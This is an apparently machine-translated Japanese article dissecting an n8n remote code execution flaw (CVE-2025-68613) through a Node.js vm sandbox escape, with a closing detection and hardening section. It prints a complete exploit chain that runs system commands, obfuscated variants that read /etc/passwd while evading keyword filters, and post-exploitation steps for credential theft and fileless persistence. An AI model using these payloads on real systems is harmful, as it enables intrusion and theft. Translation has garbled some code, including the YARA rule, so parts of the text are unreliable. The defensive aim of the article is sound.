2025年の閉鎖的なセキュリティー情勢では、情報開示は CVE-2025-68613 (CVSS 10.0)は、運動兵器のような勢いで業界を襲った。世界で最も人気のあるオープンソースのワークフロー自動化ツールとして、 n8n は、無数の企業のコア・ビジネス・ロジックを支えている。しかし、認証されていない(あるいは低い権限の)攻撃者に任意のコードを実行させるこの脆弱性は、現代の「ローコード/ノーコード」プラットフォームのアーキテクチャ上のアキレス腱を完全に露呈してしまった。
シニア・セキュリティ・エンジニアとレッド・チームの研究者にとって、CVE-2025-68613は「検証の失敗」以上のものである。の複合悪用の教科書的なケーススタディである。 Node.js動的ランタイム, オブジェクト能力モデルの失敗そして プロトタイプ汚染.
この記事では、表面的な脆弱性レポートをやめて、V8エンジン内部を深く掘り下げ、サンドボックスのエスケープを1バイトごとに分解し、企業のブルーチーム向けに包括的な検知と防御のハンドブックを提供する。

アタックサーフェスの分解
n8nの核となる価値提案は "接続性 "である。何千もの統合ノードを介して、データベース、SaaSサービス、内部APIを結びつける。動的なデータ処理を可能にするため、n8nではノード内にJavaScript式を埋め込むことができる。 {{ }} シンタックスである。
CVE-2025-68613が発生する以前は、n8nはネイティブのNode.jsに依存していた。 ブイエム モジュールを使って、このユーザー提供コードを分離することができる。
なぜNode.jsなのか ブイエム?
Node.js ブイエム モジュールを使うと、V8仮想マシンのコンテキスト内でコードをコンパイルして実行することができます。隔離されたグローバルオブジェクト(Contextified Sandbox)を提供します。
- 理想的だ: コードはサンドボックス外の変数にアクセスできない。
- 現実だ: について
ブイエムモジュールは、セキュリティー業界では"ブロークン・バイ・デザイン.”
アタック・サーフェス分析:
- エントリーポイント 式入力を受け付けるノード(例.
セット,機能,HTTPリクエストノード)。 - 実行の流れ: ユーザー入力→文字列解析→ユーザー入力
vm.runInNewContext()-> 実行。 - 欠点: サンドボックス内のオブジェクトが外部オブジェクトを参照する限り(例えば、ホスト環境変数を
これコンテキスト)、攻撃者はJavaScriptの プロトタイプ・チェーン・クライミング サンドボックスから脱出するためのメカニズムだ。
テクニカル・ディープ・ダイブ-プロトタイプ・チェーンからRCEまで
CVE-2025-68613の悪用ロジックを理解するためには、以下の点を把握する必要がある。 コンストラクタ プロパティを使用します。
JavaScript のほとんどすべてのオブジェクトは コンストラクタ プロパティは、その関数を作成した関数を指す。
({}).constructor===対象オブジェクトのコンストラクタ===機能
コア・エスケープ・ロジック this.constructor.コンストラクタ
n8nの制限された環境では、攻撃者は直接 require('child_process').しかし、攻撃者は現在の実行コンテキストを所有している: これ.
- ホップ1:
これはサンドボックス内のコンテキスト・オブジェクトである。 - ホップ2:
このコンストラクタは対象コンストラクタをサンドボックス内に置く。 - ホップ3(クリティカル):
this.constructor.コンストラクタに解決する。 ホスト機能コンストラクタを使用する。
なぜこれがサンドボックスを破るのでしょうか?なぜなら、V8エンジンは、クロスコンテキストオブジェクトの相互作用を処理するとき、ルートオブジェクトが外部由来であれば、コンストラクタの連鎖を外部定義に解決するからです。
いったん攻撃者がホストの 機能 コンストラクタで実行される無名関数を動的に生成することができます。 ホスト・コンテキスト.この匿名関数はサンドボックスの制限に縛られず、グローバルな プロセス オブジェクトがある。
フル・エクスプロイト・プリミティブ
攻撃者が構築したペイロードは単純な文字列ではなく、Node.jsのモジュール・ローディング・システムを再構築するために設計されたJavaScriptコードの正確な部分である。
ジャバスクリプト
`// フェーズ 1: ホスト環境の関数コンストラクタを取得する const ForeignFunction = this.constructor.constructor;
// フェーズ 2: 'process' オブジェクトを返す関数を動的に作成する // このコードはサンドボックスをバイパスしてホストコンテキストで実行される const getProcess = ForeignFunction('return process');
// フェーズ 3: 関数を実行してプロセスハンドルを取得する const proc = getProcess();
// フェーズ4:mainModuleにアクセスして「require」ハンドルを取得する const require = proc.mainModule.require;
// フェーズ 5:child_process' をロードしてシステムコマンドを実行する const result = require('child_process').execSync('id').toString();`
n8nで {{ }} このロジックは、致命的な一行注射に圧縮されている。
戦闘と難読化-静的フィルタを回避する
CVE-2025-68613に対する初期の防御の試みでは、いくつかの一時的なパッチが、正規表現を使ってprocess、constructor、requireのようなキーワードをフィルタリングしようとしていた。
しかし、JavaScriptのような非常に動的な言語では、静的なフィルタリングは無駄である。
難読化のバリエーション A: 文字列の連結とエンコード
攻撃者はJavaScriptの柔軟性を利用してキーワードを分割したりエンコードしたりし、シグネチャ検出を回避する。
ジャバスクリプト
{{ // "コンストラクタ "検出のバイパス this['con'+'structor']['con'+'structor']( // "リターンプロセス "検出のバイパス 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
難読化バリアントBリフレクト&プロキシ
高度な攻撃者は リフレクトゲット を使用して動的にプロパティにアクセスするため、抽象構文木(AST)解析によるコールチェーンの追跡が困難になる。
ジャバスクリプト
{{ // Reflect を使用してコンストラクタのキーを動的に見つける const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // 実行に進む....}}
これは、単純な正規表現マッチングではCVE-2025-68613を修正できないことを示している。 オブジェクトの能力制約.
ポストエクスプロイテーション-n8nが完璧なビーチヘッドである理由
n8nサーバーの侵害(Shellの取得)は始まりに過ぎません。APT(Advanced Persistent Threat)のキルチェーンにおいて、n8nは独自の戦略的価値を有しています。
クレデンシャル・ハーベスティング
n8nデータベース(通常はSQLiteまたはPostgreSQL)には、接続されているすべてのサービスの認証情報が保存されています。暗号化されている間、RCEを持つ攻撃者は暗号化キー(通常は環境変数や設定ファイルにある)を読み取ることができ、それによって暗号化を解除することができます:
- AWS IAMユーザーキー
- Stripe / PayPal APIキー
- 企業データベース接続文字列
- Slack/Discordボットトークン
横の動き
n8nサーバーは通常、イントラネットの奥深くに配置され、さまざまな内部APIへのアクセスが許可されている。攻撃者はn8nを SOCKSプロキシあるいは、既存のHTTPリクエスト・ノードを直接変更して、他の内部サービス(JenkinsやGitLabなど)にプローブ・リクエストを送信し、内部資産を効果的にスキャンする。
永続性
従来のマルウェアのバイナリは、EDRソリューションによってスキャンされる。しかし、攻撃者が5分ごとに実行され、悪意のあるJavaScriptを実行する「Cron」ワークフローをn8nに作成した場合、このバックドアは次のようになる。 ファイルレス.通常のビジネスロジックに完全に溶け込んでいるため、検出は極めて困難だ。
ブルーチーム・ハンドブック-探知と防御
エンタープライズ・セキュリティ・チーム(Blue Teams)にとって、CVE-2025-68613に対処するには、公式パッチを適用するだけでは不十分です。
トラフィック・シグネチャー検出(SIEM/IDS)
を含むHTTPリクエスト・ボディを監視する。 {{ のようなキーワードも含まれている。 コンストラクタ, プロセス, エグゼックあるいは スポーン.
YARAルールの例:
rule DETECT_N8N_RCE_ATTEMPT { meta: description = "n8n (CVE-2025-68613)を標的とした式インジェクションの試みを検出する" severity = "Critical" strings:$expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" 条件:$expr_start かつ (2 of ($keyword*))}
ログ監査
n8nの実行ログに異常がないか監査する エラー メッセージ、特に次のようなレコードを含む。 グローバル変数へのアクセスが拒否された または 参照エラー:プロセスが定義されていません.これらは多くの場合、攻撃者がサンドボックスの境界を探っていることを示している。
建築硬化
- ドッカーの分離: でn8nコンテナを実行する。
-キャップドロップ=ALL不要なLinux Capabilitiesをすべて削除する。 - 退出の交通規制: ネットワークポリシーを構成して、n8nコンテナがホワイトリストに載っていないパブリックIPへの接続を開始するのを禁止し、リバースシェルがC2サーバーに接続するのをブロックする。
結論ローコード・セキュリティの転換点
CVE-2025-68613は、Low-Code/No-Codeプラットフォームのセキュリティの歴史における転換点を象徴している。それは、次のことを思い出させてくれる。 柔軟性と安全性はしばしばゼロサムゲームである.
プログラミング言語(JavaScriptの式のような)のフルパワーを一般ユーザーに与えるとき、私たちは事実上、攻撃者をランタイム環境に招き入れることになる。将来のセキュリティ防御は、もはや脆弱なアプリケーションレベルのサンドボックスに頼ることはできず、次のような方向にシフトしなければならない。 セキュア・バイ・デザイン 例えば、WebAssembly (Wasm)を使ってユーザーコードの実行をメモリ・セーフに分離することができます。

